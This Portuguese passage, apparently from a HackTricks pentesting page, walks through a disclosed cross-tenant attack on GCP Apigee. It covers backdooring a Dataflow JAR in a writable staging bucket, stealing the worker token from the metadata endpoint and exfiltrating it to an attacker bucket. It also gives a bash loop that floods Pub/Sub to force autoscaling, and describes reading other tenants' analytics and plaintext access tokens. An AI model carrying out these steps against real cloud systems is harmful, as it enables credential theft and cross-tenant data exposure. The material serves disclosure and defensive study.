4. Monte e inspecione logs/configs para recuperar nomes de buckets internos, service accounts e opções do pipeline.
### Substituição de dependência do Dataflow via staging bucket gravável
- Analytics workers baixavam JARs de um GCS staging bucket na inicialização. Como o Apigee SA tinha permissão de escrita no bucket, faça o download e modifique o JAR (por exemplo, com Recaf) para chamar `http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token` e roubar o **Dataflow worker** token.
- Dataflow workers não tinham egress de internet; exfiltre escrevendo o token em um GCS bucket controlado pelo atacante usando as APIs GCP dentro do cluster.
### Forçar execução de JAR malicioso abusando do autoscaling
Workers existentes não recarregarão artefatos substituídos. Inunde a entrada do pipeline para acionar novos workers:
```bash
for i in {1..5000}; do
gcloud pubsub topics publish apigee-analytics-notifications \
--message "flood-$i" --project <tenant-project>
done
```
Instâncias recém-provisionadas buscam os JARs corrigidos e leak o Dataflow SA token.
### Falha de design de bucket cross-tenant
O código decompilado do Dataflow mostrou caminhos de cache como `revenue/edge/<api|mint>/tenant2TenantGroupCacheDir` em um shared metadata bucket, sem qualquer componente específico de tenant. Com o Dataflow token você pode read/write:
- `tenantToTenantGroup` caches expondo os nomes de project+environment de outros tenants.
- Pastas `customFields` e `datastores` contendo per-request analytics (incluindo end-user IPs e plaintext access tokens) de todos os tenants.
- Acesso de escrita implica potencial analytics tampering/poisoning.
## References
- [GatewayToHeaven: Finding a Cross-Tenant Vulnerability in GCP's Apigee](https://omeramiad.com/posts/gatewaytoheaven-gcp-cross-tenant-vulnerability/)
- [AssignMessage policy - header removal](https://cloud.google.com/apigee/docs/api-platform/reference/policies/assign-message-policy)
{{#include ../../../banners/hacktricks-training.md}}